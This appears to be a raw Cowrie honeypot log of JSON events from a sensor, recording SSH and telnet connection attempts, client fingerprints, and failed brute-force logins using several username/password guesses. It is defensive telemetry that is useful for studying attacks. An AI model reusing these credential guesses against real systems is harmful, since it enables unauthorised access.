{"eventid":"cowrie.login.failed","username":"root","password":"stranger","message":"login attempt [root/stranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:23.619138Z","src_ip":"193.37.70.224","session":"cb150e8b68bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:24.714578Z","src_ip":"193.37.70.224","session":"cb150e8b68bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.99365949630737,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:25.091861Z","src_ip":"152.42.224.71","session":"542c50fa3b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38722,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b8b6373aa7","protocol":"telnet","message":"New connection: 152.42.224.71:38722 (10.17.0.5:23) [session: 95b8b6373aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:25.980605Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38738,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa5e323c252d","protocol":"telnet","message":"New connection: 152.42.224.71:38738 (10.17.0.5:23) [session: aa5e323c252d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:26.885154Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38754,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd725b8ede1b","protocol":"telnet","message":"New connection: 152.42.224.71:38754 (10.17.0.5:23) [session: fd725b8ede1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:34.100240Z"}
{"eventid":"cowrie.session.closed","duration":120.00186562538147,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:35.273523Z","src_ip":"152.42.224.71","session":"4082bfff8e31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f822366ed1b9","protocol":"telnet","message":"New connection: 152.42.224.71:38768 (10.17.0.5:23) [session: f822366ed1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:35.568414Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"af503ed35df3","protocol":"telnet","message":"New connection: 152.42.224.71:50830 (10.17.0.5:23) [session: af503ed35df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.241501Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.90","src_port":50580,"dst_ip":"10.17.0.5","dst_port":22,"session":"02fbb2686a2c","protocol":"ssh","message":"New connection: 185.255.100.90:50580 (10.17.0.5:22) [session: 02fbb2686a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.590186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.594527Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.600810Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:29:9c:6e:0f:1a:97:1f:72:fa:95:f9:71:36:82:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDOIhcwPZ8kNmpUxnWRxusL4DGL4B830ZtoZLE2d0vC9aAw/fUjB+xKOwyAjM+qcUymccCr3cZ+ZGxRiOcNE3KYGAUb2wxjTOoFba1jkEfpYpWNYMoG9AroKsR1QvJqlAvcw0rS6fBudsvDIibNW58MP3QP2YuTx9AU68rRZ2K3iqRnQmX5nzFU/gO1W9v3jlILaMORJ3W5CBmWgOF7WmWKu/ECumFkTxd0UtvC+IQpQShuXPwRK3u+4nFWxAXLSaJCm5/7/Mkx+FZCvdVgzXqy4xarUfvBR0Nr2YSWQmBr/vt44axKv7lkStVkmhpUYsob6k2OqOzbSKCxdu6rK11","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:29:9c:6e:0f:1a:97:1f:72:fa:95:f9:71:36:82:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.617577Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:29:9c:6e:0f:1a:97:1f:72:fa:95:f9:71:36:82:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDOIhcwPZ8kNmpUxnWRxusL4DGL4B830ZtoZLE2d0vC9aAw/fUjB+xKOwyAjM+qcUymccCr3cZ+ZGxRiOcNE3KYGAUb2wxjTOoFba1jkEfpYpWNYMoG9AroKsR1QvJqlAvcw0rS6fBudsvDIibNW58MP3QP2YuTx9AU68rRZ2K3iqRnQmX5nzFU/gO1W9v3jlILaMORJ3W5CBmWgOF7WmWKu/ECumFkTxd0UtvC+IQpQShuXPwRK3u+4nFWxAXLSaJCm5/7/Mkx+FZCvdVgzXqy4xarUfvBR0Nr2YSWQmBr/vt44axKv7lkStVkmhpUYsob6k2OqOzbSKCxdu6rK11","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.620082Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:02:82:b8:4b:72:bb:e9:db:43:71:9b:44:60:16:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA75d7MRB1jHutnMEVLh7ihmExinmcF4SJJrIjryxp0OCYajtczNbhe4rKLYpsGcM5fQYuUcyiH9lrke/Gx1FLUFi7AvAJqgcY5bt49dKKP39PG8FRQgnez92Ca1nrX3SZ5h47/7wMv/dBEp2x2xGSPNX2yDDInE6+4k9O3WAzxc92lMRO+ixFCeRgJ2M2Szz1cWAkIW7EPhqbwcJZm3Edo+OpdrNz5a9NeixBaTlOMIlZcA2lYKV/xbCwre8tlxqrkRKWaCTM7fbFtKLfwfmKIiRhIRqyidAEbFRhVwqCWUGwABkQxRtMXXmg1ZyIeCTb44OviFnfLDJCj2OmfnxUUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:02:82:b8:4b:72:bb:e9:db:43:71:9b:44:60:16:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.625739Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:02:82:b8:4b:72:bb:e9:db:43:71:9b:44:60:16:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA75d7MRB1jHutnMEVLh7ihmExinmcF4SJJrIjryxp0OCYajtczNbhe4rKLYpsGcM5fQYuUcyiH9lrke/Gx1FLUFi7AvAJqgcY5bt49dKKP39PG8FRQgnez92Ca1nrX3SZ5h47/7wMv/dBEp2x2xGSPNX2yDDInE6+4k9O3WAzxc92lMRO+ixFCeRgJ2M2Szz1cWAkIW7EPhqbwcJZm3Edo+OpdrNz5a9NeixBaTlOMIlZcA2lYKV/xbCwre8tlxqrkRKWaCTM7fbFtKLfwfmKIiRhIRqyidAEbFRhVwqCWUGwABkQxRtMXXmg1ZyIeCTb44OviFnfLDJCj2OmfnxUUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.629241Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:b6:bf:02:38:45:ce:6b:e1:43:cd:29:e3:58:5c:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmcIOBKFbOzeXu8q3zSR73ZUgxWaCZzJop8HNH/DavXlxIu77B7qDvhG1Yw90ICVxeH+iglXG0jlijTncRPx9bTLvcXrLbZcqX83cz24XZIENVYic6CS+Jtou4dIAG6gpTl0smP+VDH3bTkCV25O+bFuqsYm+EnNjeQpsc6iZZblHc2MZMFXEFy19GfxWztLmcAcIprzX+blWCB+ULYJdFi76ZQAo5QhD01ojrigWf4y02ZH6GL+llrHrpq35kUhmNjxYcX6MunTZv+UAIqvGKU/RRYwH9MuHdf2L/QZFMbzIoPcZLO+MfZItzhLEqYhFSlPIZNT1kTERs1vXljRoDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:b6:bf:02:38:45:ce:6b:e1:43:cd:29:e3:58:5c:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.636073Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:b6:bf:02:38:45:ce:6b:e1:43:cd:29:e3:58:5c:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmcIOBKFbOzeXu8q3zSR73ZUgxWaCZzJop8HNH/DavXlxIu77B7qDvhG1Yw90ICVxeH+iglXG0jlijTncRPx9bTLvcXrLbZcqX83cz24XZIENVYic6CS+Jtou4dIAG6gpTl0smP+VDH3bTkCV25O+bFuqsYm+EnNjeQpsc6iZZblHc2MZMFXEFy19GfxWztLmcAcIprzX+blWCB+ULYJdFi76ZQAo5QhD01ojrigWf4y02ZH6GL+llrHrpq35kUhmNjxYcX6MunTZv+UAIqvGKU/RRYwH9MuHdf2L/QZFMbzIoPcZLO+MfZItzhLEqYhFSlPIZNT1kTERs1vXljRoDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.639261Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:38:7c:14:34:08:55:30:d9:cd:94:14:f3:1e:b0:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxqTX5pVSmOhg1r8/II/O+eahKxZ7DCSDnr8whske17+bdBXZSdYXzOPkeEzi3BH5u7Jx8vaV3mIVLJC6oexzUU5tdZE/7X+WlDWUDyrCHS3YIUIEOZz7gR1eTS8UWinykolIC/zUtCHd6SKh4cLyMYjsiIV94opH9W9WyCdu6GhXGD+3k7ZP4xTc/Wt6Iu88WCvUnsDXHFy8DxOKzLdrKwO2RtGF6yLXgkWivPdWLvhCDL223OolUk6NcWwCKg9I4b2lfxaG49qqSvj86f8WWHYQBDd8B5Arzdyi3naJAet5z81Cn1JFmxzj30G70Auog6EiAOpMA0aAszy/TLtrAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:38:7c:14:34:08:55:30:d9:cd:94:14:f3:1e:b0:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.646605Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:38:7c:14:34:08:55:30:d9:cd:94:14:f3:1e:b0:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxqTX5pVSmOhg1r8/II/O+eahKxZ7DCSDnr8whske17+bdBXZSdYXzOPkeEzi3BH5u7Jx8vaV3mIVLJC6oexzUU5tdZE/7X+WlDWUDyrCHS3YIUIEOZz7gR1eTS8UWinykolIC/zUtCHd6SKh4cLyMYjsiIV94opH9W9WyCdu6GhXGD+3k7ZP4xTc/Wt6Iu88WCvUnsDXHFy8DxOKzLdrKwO2RtGF6yLXgkWivPdWLvhCDL223OolUk6NcWwCKg9I4b2lfxaG49qqSvj86f8WWHYQBDd8B5Arzdyi3naJAet5z81Cn1JFmxzj30G70Auog6EiAOpMA0aAszy/TLtrAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.649011Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:64:5a:c9:04:81:1c:3f:b6:62:73:71:01:7f:b3:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3qW9kcYeqQuKVxb+MmULrML+XPZ3RCZYTpN/TWIBsDsn3xPCaiMCqOKTQfwioSQDqcyxbVYb1S+hKTVBJJNCEo6kBzYvDwFZ/B2TB40PzyDbmGnPnnlLMCQw9G7OekM8rRUmfFryKvGL0v4rj4f8RpmbcWqpn7sRVsUNn8Tv7FqtWHkOs0mI9y4UkxAADdy4p1PMmcsjIrQMxU7QIaiGlUU0ckE19ixyVuQRVfoTEXwV4D0tVMtoMwQG7bBmH4SPFHR+AXBE4zQZSMDDvlwVqHAPKsJ2dc/eubiy61Kruyw26/iI7g1HqMuuJLWRjZkrPnzikw6zvISAek1qFCoa2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:64:5a:c9:04:81:1c:3f:b6:62:73:71:01:7f:b3:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.657742Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:64:5a:c9:04:81:1c:3f:b6:62:73:71:01:7f:b3:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3qW9kcYeqQuKVxb+MmULrML+XPZ3RCZYTpN/TWIBsDsn3xPCaiMCqOKTQfwioSQDqcyxbVYb1S+hKTVBJJNCEo6kBzYvDwFZ/B2TB40PzyDbmGnPnnlLMCQw9G7OekM8rRUmfFryKvGL0v4rj4f8RpmbcWqpn7sRVsUNn8Tv7FqtWHkOs0mI9y4UkxAADdy4p1PMmcsjIrQMxU7QIaiGlUU0ckE19ixyVuQRVfoTEXwV4D0tVMtoMwQG7bBmH4SPFHR+AXBE4zQZSMDDvlwVqHAPKsJ2dc/eubiy61Kruyw26/iI7g1HqMuuJLWRjZkrPnzikw6zvISAek1qFCoa2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.660674Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:36.666980Z","src_ip":"185.255.100.90","session":"02fbb2686a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33470,"dst_ip":"10.17.0.5","dst_port":23,"session":"137332aad149","protocol":"telnet","message":"New connection: 152.42.224.71:33470 (10.17.0.5:23) [session: 137332aad149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:46.915623Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c137041a8e88","protocol":"telnet","message":"New connection: 152.42.224.71:33472 (10.17.0.5:23) [session: c137041a8e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:51.931683Z"}
{"eventid":"cowrie.session.closed","duration":94.6369800567627,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:56.319376Z","src_ip":"152.42.224.71","session":"f742180bd67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57656,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b995e3dd0e","protocol":"telnet","message":"New connection: 152.42.224.71:57656 (10.17.0.5:23) [session: 54b995e3dd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:56.936852Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57672,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b20bc8ff25","protocol":"telnet","message":"New connection: 152.42.224.71:57672 (10.17.0.5:23) [session: c9b20bc8ff25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:15:57.925139Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51401,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb8660738a3","protocol":"ssh","message":"New connection: 2.57.121.112:51401 (159.203.135.109:22) [session: 6fb8660738a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:01.638573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:01.643315Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:01.743131Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":53893,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4ad5ba19755","protocol":"ssh","message":"New connection: 2.57.121.25:53893 (159.203.135.109:22) [session: d4ad5ba19755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:01.752537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:01.761981Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:01.862297Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alizee","message":"login attempt [admin/alizee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:02.215298Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"220790","message":"login attempt [user/220790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:02.339512Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aliyah","message":"login attempt [admin/aliyah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:03.319407Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"220788","message":"login attempt [user/220788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:03.443849Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alisa1","message":"login attempt [admin/alisa1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:04.422481Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22071978","message":"login attempt [user/22071978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:04.547704Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alex2112","message":"login attempt [admin/alex2112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:05.526909Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22041994","message":"login attempt [user/22041994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:05.650522Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.81426429748535,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:06.055632Z","src_ip":"152.42.224.71","session":"af503ed35df3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed8f70bf1ef7","protocol":"telnet","message":"New connection: 152.42.224.71:57686 (10.17.0.5:23) [session: ed8f70bf1ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:06.426434Z"}
